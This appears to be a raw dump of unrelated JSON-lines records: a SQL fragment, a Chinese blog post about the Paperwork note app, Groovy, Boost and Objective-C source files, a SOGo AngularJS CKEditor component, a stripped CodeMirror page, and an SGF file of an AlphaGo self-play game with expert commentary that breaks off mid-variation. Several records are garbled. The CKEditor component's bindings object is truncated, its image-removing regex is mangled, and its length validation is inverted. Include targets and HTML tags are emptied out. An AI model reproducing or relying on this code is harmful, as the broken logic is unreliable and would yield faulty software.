asc\nSELECT * FROM csv_l1 ORDER BY id asc\n\n\n\n\n"} +{"text": "Title: Paperwork：EverNote 开源替代品\nDate: 2015-01-26 14:13\nAuthor: lovenemesis\nCategory: Web App\nTags: notes\nSlug: paperwork-evernote-open-source-alternative\n\n习惯了 EverNote 却对其收费及云端访问不放心？Paperwork\n是一个可以架设到自己服务器上的开源替代品。\n\nPaperwork 具备以下特点：\n\n* 使用 [Laravel 4](http://laravel.com/) PHP\n框架开发，提供可供第三方集成的 API\n\n* 可运行于具备 LAMP 的服务器或者 Synology 及 QNAP NAS 中\n\n* 易于通过 [Composer](https://getcomposer.org/) 安装及 Docker 部署\n\n* 具备历史记录、文件上传等功能\n\n* 基于 [CKEditor](http://ckeditor.com/) 的富文本编辑器\n\n* 依据 MIT 许可分发\n\n[Paperwork 项目首页](http://paperwork.rocks/)\n\n[Github 首页](https://github.com/twostairs/paperwork)\n\n[免费测试站点](http://demo.paperwork.rocks/)\n"} +{"text": "/**\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n */\npackage org.codehaus.groovy.runtime.callsite;\n\nimport org.codehaus.groovy.runtime.ScriptBytecodeAdapter;\n\nimport groovy.lang.GroovyObject;\nimport groovy.lang.GroovyRuntimeException;\n\npublic class PogoGetPropertySite extends AbstractCallSite {\n private final Class aClass;\n\n public PogoGetPropertySite(CallSite parent, Class aClass) {\n super(parent);\n this.aClass = aClass;\n }\n\n public CallSite acceptGetProperty(Object receiver) {\n if (receiver== null || receiver.getClass() != aClass)\n return createGetPropertySite(receiver);\n else\n return this;\n }\n\n public CallSite acceptGroovyObjectGetProperty(Object receiver) {\n if (receiver == null || receiver.getClass() != aClass)\n return createGroovyObjectGetPropertySite(receiver);\n else\n return this;\n }\n\n public Object getProperty(Object receiver) throws Throwable {\n try{\n return ((GroovyObject)receiver).getProperty(name);\n } catch (GroovyRuntimeException gre) {\n throw ScriptBytecodeAdapter.unwrap(gre);\n }\n }\n}\n"} +{"text": "// boost/timer/config.hpp -----------------------------------------------------------//\n\n// Copyright Beman Dawes 2003, 2006, 2011\n\n// Distributed under the Boost Software License, Version 1.0.\n// See http://www.boost.org/LICENSE_1_0.txt\n\n// See http://www.boost.org/libs/timer for documentation.\n\n#ifndef BOOST_TIMER_CONFIG_HPP\n#define BOOST_TIMER_CONFIG_HPP\n\n#include \n\n#include \n\n// This header implements separate compilation features as described in\n// http://www.boost.org/more/separate_compilation.html\n\n// enable dynamic or static linking as requested --------------------------------------//\n\n#if defined(BOOST_ALL_DYN_LINK) || defined(BOOST_TIMER_DYN_LINK)\n# if defined(BOOST_TIMER_SOURCE)\n# define BOOST_TIMER_DECL BOOST_SYMBOL_EXPORT\n# else\n# define BOOST_TIMER_DECL BOOST_SYMBOL_IMPORT\n# endif\n#else\n# define BOOST_TIMER_DECL\n#endif\n\n// enable automatic library variant selection ----------------------------------------//\n\n#if !defined(BOOST_TIMER_SOURCE) && !defined(BOOST_ALL_NO_LIB) && !defined(BOOST_TIMER_NO_LIB)\n//\n// Set the name of our library, this will get undef'ed by auto_link.hpp\n// once it's done with it:\n//\n#define BOOST_LIB_NAME boost_timer\n//\n// If we're importing code from a dll, then tell auto_link.hpp about it:\n//\n#if defined(BOOST_ALL_DYN_LINK) || defined(BOOST_TIMER_DYN_LINK)\n# define BOOST_DYN_LINK\n#endif\n//\n// And include the header that does the work:\n//\n#include \n#endif // auto-linking disabled\n\n#endif // BOOST_TIMER_CONFIG_HPP\n\n"} +{"text": "/* -*- Mode: javascript; indent-tabs-mode: nil; c-basic-offset: 2 -*- */\n\n(function() {\n 'use strict';\n\n /**\n * sgCkeditor - A component for the CKEditor v4\n * Based on https://github.com/jziggas/ng-ck/.\n * @memberof SOGo.Common\n * @example:\n \n */\n function sgCkeditorConfigProvider() {\n // Default plugins that have successfully passed through Angular's $sanitize service\n var defaultConfiguration = {\n toolbarGroups: [\n { name: 'basicstyles', groups: [ 'basicstyles' ] },\n { name: 'colors' },\n { name: 'paragraph', groups: [ 'list', 'indent', 'blocks', 'align' ] },\n { name: 'links' },\n { name: 'insert' },\n { name: 'editing', groups: [ 'spellchecker' ] },\n { name: 'styles' },\n { name: 'mode' }\n ],\n\n // The default plugins included in the basic setup define some buttons that\n // are not needed in a basic editor. They are removed here.\n removeButtons: 'Strike,Subscript,Superscript,BGColor,Anchor,Format,Image',\n\n // Dialog windows are also simplified.\n removeDialogTabs: 'link:advanced',\n\n enterMode: CKEDITOR.ENTER_BR,\n tabSpaces: 4,\n // fullPage: true, include header and body\n allowedContent: true, // don't filter tags\n entities: false,\n\n // Configure autogrow\n // https://ckeditor.com/docs/ckeditor4/latest/guide/dev_autogrow.html\n autoGrow_onStartup: true,\n autoGrow_minHeight: 300,\n autoGrow_bottomSpace: 0,\n language: 'en',\n\n // The Upload Image plugin requires a remote URL to be defined even though we won't use it\n imageUploadUrl: '/SOGo/'\n };\n\n var events = [\n 'activeEnterModeChange',\n 'activeFilterChange',\n 'afterCommandExec',\n 'afterInsertHtml',\n 'afterPaste',\n 'afterPasteFromWord',\n 'afterSetData',\n 'afterUndoImage',\n 'ariaEditorHelpLabel',\n 'autogrow',\n 'beforeCommandExec',\n 'beforeDestroy',\n 'beforeGetData',\n 'beforeModeUnload',\n 'beforeSetMode',\n 'beforeUndoImage',\n 'blur',\n 'change',\n 'configLoaded',\n 'contentDirLoaded',\n 'contentDom',\n 'contentDomInvalidated',\n 'contentDomUnload',\n 'customConfigLoaded',\n 'dataFiltered',\n 'dataReady',\n 'destroy',\n 'dialogHide',\n 'dialogShow',\n 'dirChanged',\n 'doubleclick',\n 'dragend',\n 'dragstart',\n 'drop',\n 'elementsPathUpdate',\n 'fileUploadRequest',\n 'fileUploadResponse',\n 'floatingSpaceLayout',\n 'focus',\n 'getData',\n 'getSnapshot',\n 'insertElement',\n 'insertHtml',\n 'insertText',\n 'instanceReady',\n 'key',\n 'langLoaded',\n 'loadSnapshot',\n 'loaded',\n 'lockSnapshot',\n 'maximize',\n 'menuShow',\n 'mode',\n 'notificationHide',\n 'notificationShow',\n 'notificationUpdate',\n 'paste',\n 'pasteFromWord',\n 'pluginsLoaded',\n 'readOnly',\n 'removeFormatCleanup',\n 'required',\n 'resize',\n 'save',\n 'saveSnapshot',\n 'selectionChange',\n 'setData',\n 'stylesSet',\n 'template',\n 'toDataFormat',\n 'toHtml',\n 'unlockSnapshot',\n 'updateSnapshot',\n 'widgetDefinition'\n ];\n\n var config = angular.copy(defaultConfiguration);\n\n this.$get = function () {\n return {\n config: config,\n events: events\n }\n };\n }\n\n var sgCkeditorComponent = {\n controllerAs: 'vm',\n require: {\n ngModelCtrl: 'ngModel'\n },\n bindings: {\n checkTextLength: '',\n controller: sgCkeditorController\n };\n\n sgCkeditorController.$inject = ['$element', '$scope', '$parse', '$timeout', 'sgCkeditorConfig'];\n function sgCkeditorController ($element, $scope, $parse, $timeout, sgCkeditorConfig) {\n var vm = this;\n var config;\n var content;\n var editor;\n var editorElement;\n var editorChanged = false;\n var modelChanged = false;\n\n this.$onInit = function () {\n vm.ngModelCtrl.$render = function () {\n if (editor) {\n editor.setData(vm.ngModelCtrl.$viewValue, {\n noSnapshot: true,\n callback: function () {\n editor.fire('updateSnapshot')\n }\n })\n }\n };\n\n config = vm.config ? angular.merge(sgCkeditorConfig.config, vm.config) : sgCkeditorConfig.config;\n\n if (config.language) {\n // Pickup the first matching language supported by SCAYT\n // See http://docs.ckeditor.com/#!/guide/dev_howtos_scayt\n config.scayt_sLang = _.find(['en_US', 'en_GB', 'pt_BR', 'da_DK', 'nl_NL', 'en_CA', 'fi_FI', 'fr_FR', 'fr_CA', 'de_DE', 'el_GR', 'it_IT', 'nb_NO', 'pt_PT', 'es_ES', 'sv_SE'], function(sLang) {\n return sLang.lastIndexOf(config.language, 0) == 0;\n }) || 'en_US';\n\n // Disable caching of the language\n // See https://github.com/WebSpellChecker/ckeditor-plugin-scayt/issues/126\n config.scayt_disableOptionsStorage = 'lang';\n }\n\n if (vm.ckMargin) {\n // Set the margin of the iframe editable content\n CKEDITOR.addCss('.cke_editable { margin-top: ' + vm.ckMargin +\n '; margin-left: ' + vm.ckMargin +\n '; margin-right: ' + vm.ckMargin + '; }');\n }\n };\n\n this.$postLink = function () {\n editorElement = $element[0].children[0];\n editor = CKEDITOR.replace(editorElement, config);\n\n editor.on('instanceReady', onInstanceReady);\n editor.on('pasteState', onEditorChange);\n editor.on('change', onEditorChange);\n editor.on('paste', onEditorPaste);\n editor.on('fileUploadRequest', onEditorFileUploadRequest);\n\n if (content) {\n modelChanged = true\n editor.setData(content, {\n noSnapshot: true,\n callback: function () {\n editor.fire('updateSnapshot')\n }\n });\n }\n };\n\n this.$onChanges = function (changes) {\n if (\n changes.ngModel &&\n changes.ngModel.currentValue !== changes.ngModel.previousValue\n ) {\n content = changes.ngModel.currentValue;\n if (editor && !editorChanged) {\n if (content) {\n editor.setData(content, {\n noSnapshot: true,\n callback: function () {\n editor.fire('updateSnapshot')\n }\n });\n modelChanged = true;\n }\n }\n editorChanged = false;\n }\n if (editor && changes.readOnly) {\n editor.setReadOnly(changes.readOnly.currentValue);\n }\n }\n\n this.$onDestroy = function () {\n editorElement.classList.add('ng-cloak');\n editor.destroy();\n }\n\n function onInstanceReady (event) {\n // Register binded callbacks for all available events\n _.forEach(_.filter(sgCkeditorConfig.events, function (eventName) {\n return eventName != 'instanceReady';\n }), function (eventName) {\n var callbackName = 'on' + eventName[0].toUpperCase() + eventName.slice(1);\n if (vm[callbackName]) {\n editor.on(eventName, function (event) {\n vm[callbackName]({\n '$event': event,\n '$editor': editor\n });\n });\n }\n });\n\n if (vm.onInstanceReady) {\n vm.onInstanceReady({\n '$event': event,\n '$editor': editor\n });\n }\n\n editorElement.classList.remove('ng-cloak');\n vm.ngModelCtrl.$render();\n }\n\n function onEditorChange () {\n var html = editor.getData();\n var body = editor.document.getBody();\n var text;\n\n if (_.isEmpty(body))\n return;\n else\n text = body.getText();\n\n if (text === '\\n') {\n text = '';\n }\n\n if (!modelChanged && html !== vm.ngModelCtrl.$viewValue) {\n editorChanged = true;\n vm.ngModelCtrl.$setViewValue(html);\n validate(vm.checkTextLength ? text : html);\n if (vm.onContentChanged) {\n vm.onContentChanged({\n 'editor': editor,\n 'html': html,\n 'text': text\n });\n }\n }\n modelChanged = false;\n }\n\n function onEditorPaste (event) {\n var html;\n if (event.data.type == 'html') {\n html = event.data.dataValue;\n // Remove images to avoid ghost image in Firefox; images will be handled by the Image Upload plugin\n event.data.dataValue = html.replace(/]*)?>/gi, '');\n }\n }\n\n function onEditorFileUploadRequest (event) {\n // Intercept the request when an image is pasted, keep an inline base64 version only.\n var data, img;\n data = event.data.fileLoader.data;\n img = editor.document.createElement('img');\n img.setAttribute('src', data);\n editor.insertElement(img);\n event.cancel();\n }\n\n function validate (body) {\n if (vm.maxLength) {\n vm.ngModelCtrl.$setValidity('maxlength', body.length > vm.maxLength + 1);\n }\n if (vm.minLength) {\n vm.ngModelCtrl.$setValidity('minlength', body.length <= vm.minLength);\n }\n if (vm.required) {\n vm.ngModelCtrl.$setValidity('required', body.length > 0);\n }\n }\n }\n\n angular\n .module('sgCkeditor', [])\n .provider('sgCkeditorConfig', sgCkeditorConfigProvider)\n .component('sgCkeditor', sgCkeditorComponent);\n})();\n"} +{"text": "#import \n\n@interface injector_AppDelegate : NSObject\n{\n\tid pid;\n}\n@end\n"} +{"text": "export const INITIAL_STATE = 'INITIAL_STATE'\nexport const LOADING_STATE = 'LOADING_STATE'\nexport const SUCCESS_STATE = 'SUCCESS_STATE'\nexport const FAILURE_STATE = 'FAILURE_STATE'"} +{"text": "\n\nCodeMirror: Django template mode\n\n\n\n\n\n\n\n\n\n\n\n\n
\n

Django template mode

\n
\n\n \n\n

Mode for HTML with embedded Django template markup.

\n\n

MIME types defined: text/x-django

\n
\n"} +{"text": "(;GM[1]FF[4]CA[UTF-8]AP[CGoban:3]ST[2]\nRU[Chinese]SZ[19]KM[7.50]TM[0]OT[1x5 byo-yomi]\nPW[AlphaGo]PB[AlphaGo]DT[2016-02-29]C[Game 1 - Fighting\n\nCommentary by Fan Hui\nGo expert analysis by Gu Li and Zhou Ruiyang\nTranslated by Lucas Baker, Teddy Collins, and Thore Graepel\n\nBefore we begin, I would like to note that these games were played very quickly. AlphaGo's self-play games often take place under blitz time settings, with only 5 seconds per move. Obviously, this would be extremely fast for human players, and even AlphaGo understandably makes a few mistakes when playing at this speed.\n\nThis game was played on February 29, 2016, nine days prior to the Lee Sedol match.]RE[W+2.50]PL[B]MULTIGOGM[1]\n;B[dp]\n;W[dd]\n;B[qp]C[As viewers of the match will remember, AlphaGo has a strong proclivity for the Chinese opening.]\n;W[pd]\n;B[qf]C[In this game, Black approaches the corner before completing the Chinese opening.]\n;W[nc]\n;B[kq]\n;W[cn]\n;B[fp]\n;W[cq]C[White approaches from the left, then invades the corner at the 3-3 point. This opening appears frequently in professional games.]\n;B[cp]\n;W[bp]\n(;B[dq]LB[bo:A]C[Black 13 struck Gu Li and Zhou Ruiyang as highly unusual. They wondered, \"Will this be enough?\" A professional would normally block at A. Nonetheless, as the match with Lee Sedol demonstrated, AlphaGo’s strategic brilliance cannot easily be discounted. We know that it has an outstanding sense of the whole board, can control every aspect of the game, and takes great care to coordinate every stone with all the others. In light of this, from a global perspective, Black 13 was probably not a mistake.]\n;W[br]\n;B[cr]\n;W[bq]\n;B[fc]C[After the corner is settled, Black plays not on the right side, but on the top.]\n;W[cf]\n;B[jd]C[This extension appears frequently in AlphaGo’s self-play games.]\n(;W[op]C[White then approaches at the bottom, but doesn’t Go theory advise to play on the wider side? Should White have played on the right? It is hard to say. The variations show two alternatives, but both turn out less than ideally for White. It seems that, if Black 19 is a product of AlphaGo's excellent positional judgment, then White's corner approach at 20 makes sense as a way to counter it.]\n;B[pn]\n;W[qq]\n;B[rq]\n;W[pq]\n;B[rr]\n;W[mq]C[The joseki through here is a common way to settle the local shape in the Chinese opening.]\n;B[qc]C[Now Black is free to invade the upper right corner.]\n;W[qd]\n;B[rd]\n(;W[pc]LB[re:A]C[Although a few rare moves have appeared so far, all of them are understandable. After seeing this turn by White, however, our shock was palpable: \"This move is so defensive!\" \"No human would play like this!\"\n\nWhite's playing style looks extremely cautious. Why not the hane? With the analysis shown in the variation, we began to understand White's reasoning, but Gu Li and Zhou Ruiyang emphasised that this would be very difficult prescription for professional players to swallow.]\n;B[rb]\n;W[qb]\n;B[rc]\n;W[hc]\n(;B[lc]LB[hc:B][pc:A]C[In these few days of research, AlphaGo never ceased to amaze. The invasion at B is the proper follow-up to White A, but Black astonished us once again by responding indirectly with this knight's move. \"There is nothing AlphaGo will not do! It fears nothing!\" \"No human would play this move either!\". Of course, the more we saw of these audacious moves over time, the less they surprised us.\n\nWhy doesn't Black press down directly? See the variation.]\n;W[he]\n;B[of]\n;W[nf]C[An excellent attachment! Both Gu Li and Zhou Ruiyang applauded this move.]\n(;B[ng]LB[ne:A]C[The commonsense response, but what about Black A instead - could Black have haned and cut immediately? See the variation.]\n;W[mf]\n;B[oe]\n;W[md]LB[oe:A]TR[md]C[In our research, Gu Li and Zhou Ruiyang concluded that Black A is problematic, since the exchange with the marked stone clearly strengthens White. Playing this move at the marked stone instead would have caused White more shape problems.]\n;B[jf]\n;W[mg]\n;B[nh]\n;W[mh]\n;B[ic]\n;W[hb]\n;B[ni]\n;W[mi]\n;B[nj]C[All the moves up to here are mandatory. After Black extends, AlphaGo assesses Black's win rate at 50%: a completely balanced game.\n\nAlphaGo plays a wide range of different openings, and many of them resemble this one to some degree. The more games it plays, the more chances AlphaGo will have to develop new variations of this opening family.\n]\n;W[ig]\n;B[jg]\n;W[jh]\n;B[ih]\n;W[ii]\n;B[hh]\n;W[hg]\n;B[kh]\n;W[ji]\n;B[ki]\n;W[gh]\n;B[lj]TR[hh][ih]C[After sacrificing the two marked stones in return for this kosumi, Black's win rate rises to 52%.]\n;W[ld]\n;B[kd]\n;W[lb]\n;B[kb]\n;W[mb]\n(;B[nn]C[The jump at 69 is a natural way of strengthening the right while increasing the pressure on the bottom. Black may have judged this result acceptable because it secures ample territory. However, it is also important to note that White's top side group is alive because of Black's aji. See the variation.]\n;W[mo]\n;B[no]\n;W[np]\n;B[lp]\n;W[kr]\n;B[jr]\n;W[lr]LB[mp:B][jq:A]C[The moves up to here are a middle game joseki for the Chinese opening, but it is important to note that Black usually exchanges A for B. Black omits this connection in the game, retaining the possibility of later cutting at B instead.]\n;B[cm]C[The attachment at 77 is a common tactic for AlphaGo. The aim is simple: create a ladder breaker for the two stones in the centre.]\n;W[dm]\n;B[dl]\n;W[em]C[White has no choice but to reply this way.]\n(;B[bn]C[The double hane is a very aggressive play. As shown in the variation, connecting peacefully does not lead to a good result.]\n;W[cl]\n;B[bm]\n;W[mj]\n;B[mk]\n;W[dk]LB[mj:A]C[The isolated push at A is curiously timed. What was the thinking behind this push? Was it only to limit the scope of possible variations? Or did White plan to cut, then reconsider and turn back? Unfortunately, we do not know.]\n;B[gk]C[Black plays a double ladder breaker.]\n;W[fj]C[White hangs tough, but this move allows Black to run out on the left.]\n;B[el]C[Here, Black's win rate reaches 60%! It is clear that Black holds the advantage in this fight.]\n;W[fl]\n;B[ek]\n;W[fk]\n;B[ej]\n;W[cj]\n;B[ei]\n(;W[gm]LB[gm:A]C[All the moves through 96 are forced. See the variation for what happens if White omits A.]\n;B[jj]LB[hi:A]C[Black is now quite confident about the outlook, as Black believes that White must capture at A. However, White comes up with a better plan.]\n(;W[ij]C[White's turn at 98 is better for the fight in the centre, but does White need to respond at all? See the variation.]\n;B[ci]\n;W[bl]LB[bo:A]C[This move loses a few points, but gains thickness over the block at A. White is concentrating energy in preparation for the cut.]\n;B[bj]\n;W[bo]\n;B[bk]\n;W[lk]C[Now White can finally slice through in the centre, unsheathing a sharp and deadly blade! But is this move really as severe as it looks? If you believe Black can no longer hold the position together, then you have underestimated AlphaGo!]\n(;B[jk]C[The only move for Black.]\n;W[ll]\n;B[ik]\n;W[im]\n;B[jm]TR[hh][ih]C[Black could also have saved the marked stones, but since the central dragon is not yet alive, running out to safety takes priority.]\n;W[jn]\n;B[km]\n;W[nk]C[White 112 is good move order, forcing Black to invest another move on the right side.]\n;B[ml]\n;W[lm]\n;B[kn]\n;W[ln]LB[nl:B][in:A]C[Now Black faces a dilemma: protect the dragon with A, or reinforce the right side territory with B?]\n(;B[nl]LB[in:A]C[Black chooses territory. See the variation for what happens if Black plays at A instead.]\n;W[ko]\n;B[in]\n;W[jl]\n;B[hm]C[This counter-squeeze is the critical tesuji to save the dragon, by connecting back to the left side.]\n;W[kl]\n;B[hn]LB[jp:A][mp:B]C[Although at first glance White's capture of the three centre stones looks spectacular, it is important to remember that protecting with A is sente. If White does not respond, Black can cut at B to kill all the white stones above. From this perspective, Black's loss is limited.]\n;W[ok]C[Although Black survived in the centre, White has been plotting for some time, and extends at 124! Even after Black's reinforcement, can White still live?]\n(;B[dn]C[With this atari, Black resolutely abandons the right side for the left!]\n;W[gj]C[White fixes up the middle in sente.]\n;B[il]\n;W[ql]C[Finally, White ensures life on the right side with 128.]\n;B[qm]\n;W[rm]\n;B[rn]\n;W[om]\n;B[nm]\n;W[pg]C[Black can no longer hope to kill White.]\n;B[jp]C[Black 135 makes a tiger’s mouth to reinforce the bottom.]\n;W[io]C[This move, testing Black's response, is a very agile reply.]\n(;B[jo]LB[ir:A]TR[io]C[Because of the marked white stone, the aji of the clamp at A remains. Could Black have defended differently? See the variation.]\n;W[qg]\n;B[pi]\n;W[rf]\n;B[rh]\n;W[og]C[The great exchange continues!\n\nIgnoring the cutting point, White turns to capture a portion of the right side, letting Black cut in the centre and swallow up the entire group.]\n;B[mp]C[Which is bigger, the right side or the centre? I must admit we don't know. In an exchange this complex, one must consider many aspects of the position, all of which may vary in response to small changes. A single mistake can lead to total collapse.\n\nWhile playing out these sequences, we often felt overwhelmed due to the number of factors and the complexity of the calculations. To think that AlphaGo considers all of this, using just five seconds per move, is truly frightening!]\n;W[po]\n;B[qo]\n;W[ir]C[White takes advantage of Black's shorage of liberties with the clamp.]\n;B[iq]\n;W[js]\n;B[jq]\n;W[lq]\n;B[kp]LB[hq:A]C[Up to here, Black has no choice but to retreat, and White still has the potential of the hane at A.]\n;W[an]C[White connects up the left side.]\n;B[co]\n;W[am]\n;B[cn]\n;W[ck]LB[hq:A][dr:B]C[When I saw this move, I was shocked! If Black plays at B, it seems White can no longer live on the side, and besides that is short of liberties. How could White possibly escape? But AlphaGo's reading was extremely careful, and White indeed has a way to cheat death. See the variations.]\n(;B[nr]LB[cg:B][bh:A]C[Although White has succeeded in connecting up the left, Black has sente moves at A and B, and will have no difficulty living. Interestingly, Black tenukis to make this placement on the bottom!]\n(;W[dr]C[Still more puzzling is the reply: White plays at 158 and captures a stone! Can Black no longer live on the left? Is White dead at the bottom? What happened!?\n\nWhite may have chosen this way because living on the bottom gives Black a valuable sente endgame sequence. See the variation.]\n;B[er]\n;W[cs]C[After White 160, although Black can capture White on the bottom, White would then reinforce and kill Black on the left.]\n;B[bf]C[Weighing the pros and cons, Black decides to make life on the left side.]\n;W[bg]\n;B[ce]\n;W[be]\n;B[df]\n(;W[af]C[Now the position is ko. Could White have killed unconditionally? See the variation.]\n;B[cg]C[Black exhibits AlphaGo’s most distinctive characteristic…persistence!]\n(;W[cd]C[What if White just connects when Black plays ko? See the variation.]\n;B[bf]\n;W[or]\n;B[nq]\n;W[cf]\n;B[fi]\n;W[gi]\n;B[bf]\n;W[hq]LB[hr:A][hs:B]C[This ko threat is an extremely pleasant one for White. Black cannot atari at A, or White could simply create a second ko at B.]\n;B[hp]\n;W[cf]\n;B[rg]\n;W[pf]\n;B[bf]\n;W[lo]\n;B[ip]\n;W[cf]\n;B[fn]\n;W[fm]\n;B[bh]C[Now the balance of ko threats favors White, so Black concedes the ko to make life.]\n;W[de]\n;B[ak]\n;W[al]\n;B[dg]\n;W[gp]\n;B[ho]\n;W[fq]C[This tiger's mouth is the final tesuji of the game.]\n(;B[hr]C[Black has no option but to capture. See the variation for what happens if Black resists.]\n;W[oi]C[The long battle has finally reached its conclusion.\n\nWe finally understood now that White never intended to make life at the bottom. Instead, White wedges at 196. Could it be that White always thought the right side was bigger? Regardless of how it arrived at this decision, White has chosen the path to victory.\n]\n;B[mr]C[Black must secure the bottom.]\n;W[re]C[Finally, with this move, the endgame begins.]\n;B[ol]\n;W[pk]\n;B[pl]\n;W[rk]\n;B[pb]\n;W[ob]\n;B[qa]\n;W[eq]\n;B[ep]\n;W[fr]\n;B[ff]\n;W[ee]\n;B[gq]\n;W[ie]\n;B[je]\n;W[ef]\n;B[eg]\n;W[fh]\n;B[ao]\n;W[ap]\n;B[dj]\n;W[ao]\n;B[eh]\n;W[fg]\n;B[gr]\n;W[es]\n;B[sm]\n(;W[sk]C[Just when I thought everything was over, I saw this move. Why doesn't White connect? Is there really something here? And in fact there is - see the variation.]\n;B[if]\n;W[hf]C[Now the small endgame begins. The difference is narrow, but the result has been decided in White's favor.]\n;B[ib]\n;W[id]\n;B[ha]\n;W[ga]\n;B[ia]\n;W[gb]\n;B[hk]\n;W[en]\n;B[rl]\n;W[qk]\n;B[hj]\n;W[hi]\n;B[ka]\n;W[fo]\n;B[go]\n;W[eo]\n;B[le]\n;W[lf]\n;B[kf]\n;W[oa]\n;B[pa]\n;W[gl]\n;B[hl]\n;W[li]\n;B[kj]\n;W[lg]\n;B[kg]\n;W[sl]\n;B[rm]\n;W[sd]\n;B[sc]\n;W[se]\n;B[gn]\n;W[me]\n;B[la]\n;W[ma]\n;B[gs]\n;W[fs]\n;B[ah]\n;W[ag]\n;B[ke]\n;W[mc]\n;B[kc]\n;W[do]\n;B[gp]\n;W[lh]C[White wins by 2.5 points.\n\nThis should be the part where I rack my brains to comprehensively summarize the game. Yet all I can say is: so many battles! Countless sacrifices! Countless exchanges! And all with only five seconds per move! In a game as endlessly complex as this one, both sides surely made a few errors, but I believe they were not the least bit significant. After all, error is also an essential and fascinating part of the game.\n\nI am grateful to Gu Li and Zhou Ruiyang for their help, as I would not have been able to discover and comprehend these many variations on my own. I could never have understood the complex interactions in this game without them. At every step, they diligently and conscientiously searched for the best moves.\n\nAfter playing through this game, we felt incredible fatigue. Yet we sensed that if we had continued our study, we would have uncovered even more fascinating variations. I must bring my commentary to an end here - but perhaps your own investigation has just begun.])\n(;W[rl]\n;B[rj]C[With this tesuji, Black can either live locally or get a ko to connect.]\n(;W[qj]C[This way leads to ko.]\n;B[sk]\n;W[ri]\n;B[si]C[The result is clearly unacceptable for White.])\n(;W[sk]C[If White descends, Black actually lives!]\n;B[qj]\n;W[qk]\n;B[sg]\n;W[sf]\n;B[si]C[Black lives unconditionally. The fact that one can live so tenaciously in a space so small - this is what makes Go such a marvelous game!])))\n(;B[eq]C[If Black simply connects, White will have miai to live.]\n;W[oi]\n;B[ks]C[Black might try to kill this way.]\n;W[ls]\n;B[ns]C[Locally speaking, White is dead...]\n;W[fr]C[...but now White has a way to make a second eye.]\n;B[es]\n;W[fo]\n;B[ep]\n;W[go]\n;B[gn]\n;W[hs]C[White lives.])\n(;B[fr]C[Black can play the clamp of 2 in sente...]\n;W[ns]LB[hr:A]C[...but now White is satisfied with living directly. The connection at A will be White's sente, promising a tidy profit in the endgame.]))\n(;W[bf]\n;B[cd]C[Once Black enters the corner, White is in serious trouble.]\n;W[de]\n;B[cc]\n;W[dc]\n;B[db]\n;W[cb]\n;B[bb]\n;W[ca]\n;B[bc]\n;W[eb]\n;B[bh]\n;W[dg]\n;B[ef]LB[ca:9][bb:8][cb:7][db:6][eb:11][bc:10][cc:4][dc:5][cd:2][de:3][bf:1][ef:14][dg:13][bh:12]C[White's position falls apart.]))\n(;W[cg]C[If White connects at 1, Black is dead on the left, but the corner remains open.]\n;B[cd]\n;W[de]\n;B[bd]\n;W[af]\n;B[dc]LB[gd:A]C[At this point, the corner is already alive because of the peep at A. White will now have trouble settling on top. Moreover, White's group at the bottom is still hanging in the balance.]))\n(;W[or]C[White can still live...]\n;B[ps]C[...but this knight's move is a magnificent endgame tesuji.]\n;W[ns]\n;B[os]\n;W[ms]\n;B[ks]\n;W[qs]\n;B[bf]LB[hq:A]C[Black has defended against White's hane at A in sente, and can now return to make life on the left side.]))\n(;B[dr]C[If Black connects to kill...]\n;W[bi]C[...this cut is the tesuji.]\n(;B[bh]C[Black cannot atari directly.]\n;W[di]\n;B[ai]\n;W[eh]C[White will capture five stones to live.])\n(;B[dj]C[Black can make things a bit more difficult for White with this atari.]\n;W[al]\n;B[bh]\n;W[ai]C[Still, White can descend to take away Black's liberties.]\n;B[ah]\n;W[dh]\n;B[di]\n;W[ch]\n;B[aj]\n;W[bi]\n;B[eh]\n;W[eg]\n(;B[dg]C[This is one of two options for Black, but neither succeeds.]\n;W[cg]\n;B[fg]\n;W[ef]\n;B[fh]\n;W[ff]\n;B[gg]\n;W[hi]\n;B[bs]\n;W[fi]\n;B[ai]\n;W[gf]\n;B[bi]\n;W[bg]C[Black loses the capturing race by one liberty.])\n(;B[bf]C[By attaching underneath, Black can temporarily break through.]\n;W[fh]\n;B[ai]\n;W[fi]\n;B[bi]\n;W[bg]\n;B[ag]\n;W[cg]C[After this connection, however, Black is still in dire straits.]\n;B[be]\n;W[af]\n;B[ae]\n;W[bc]\n;B[ao]\n;W[ap]\n;B[bs]\n;W[ar]C[The semeai ends with one eye to no eyes in favor of White, so Black dies.]))))\n(;B[hp]C[If Black tries to resist being forced by jumping here...]\n;W[iq]C[...White will peep, forcing Black to connect above.]\n;B[ip]LB[kp:A]C[Due to the shortage of liberties at A, Black has now lost the prospect of cutting off White's stones in the centre.]))\n(;B[ol]C[If Black wants to kill, this is the only move...]\n;W[pg]C[...but White will counter with this perfectly-timed peep! Black has no good response.]\n(;B[qe]C[Simply making the bamboo joint gives White enough space to make life.]\n;W[pk]\n;B[pi]\n;W[qi]\n;B[ph]\n;W[qh]\n;B[qg]\n;W[qm]\n;B[qn]\n;W[rn]\n;B[ro]\n;W[rl]C[White finally makes ko. This variation is very complicated, with both sides playing exquisite moves that we still do not fully comprehend, but one thing is certain: if White can get at least a ko, the result is unacceptable for Black. This may be one reason why Black chose the game line.])\n(;B[ph]C[The attachment is a strong try, but there is still too much aji.]\n;W[qg]\n;B[qe]\n;W[rf]C[These forcing moves will soon help White make eye shape.]\n;B[re]\n;W[ro]\n;B[qn]\n;W[rn]\n;B[rm]\n;W[rl]\n;B[sm]\n;W[qk]\n;B[qm]\n;W[pi]\n;B[og]\n;W[rh]C[At this point, it will be very difficult for Black to kill White unconditionally. This variation is highly complex, and even after investigating it, we are still not certain of the best moves for both sides. I believe this is why AlphaGo chose to tenuki.])))\n(;B[in]LB[nk:A]C[If White had not played at A, Black would have protected the dragon instead.]\n;W[nl]C[Now, however, the price is much heavier, as White claims two key stones.]\n;B[dn]C[Black will secure the lower left, and White will protect the middle.]\n;W[fi]\n;B[dr]C[This connection kills White's corner, but White is free to lay waste to the right side.]\n;W[ql]\n;B[qm]\n;W[pl]\n;B[po]\n;W[mm]\n;B[jo]\n;W[eh]\n;B[ck]\n;W[qh]C[Black still owes a move on the right side, but taking gote 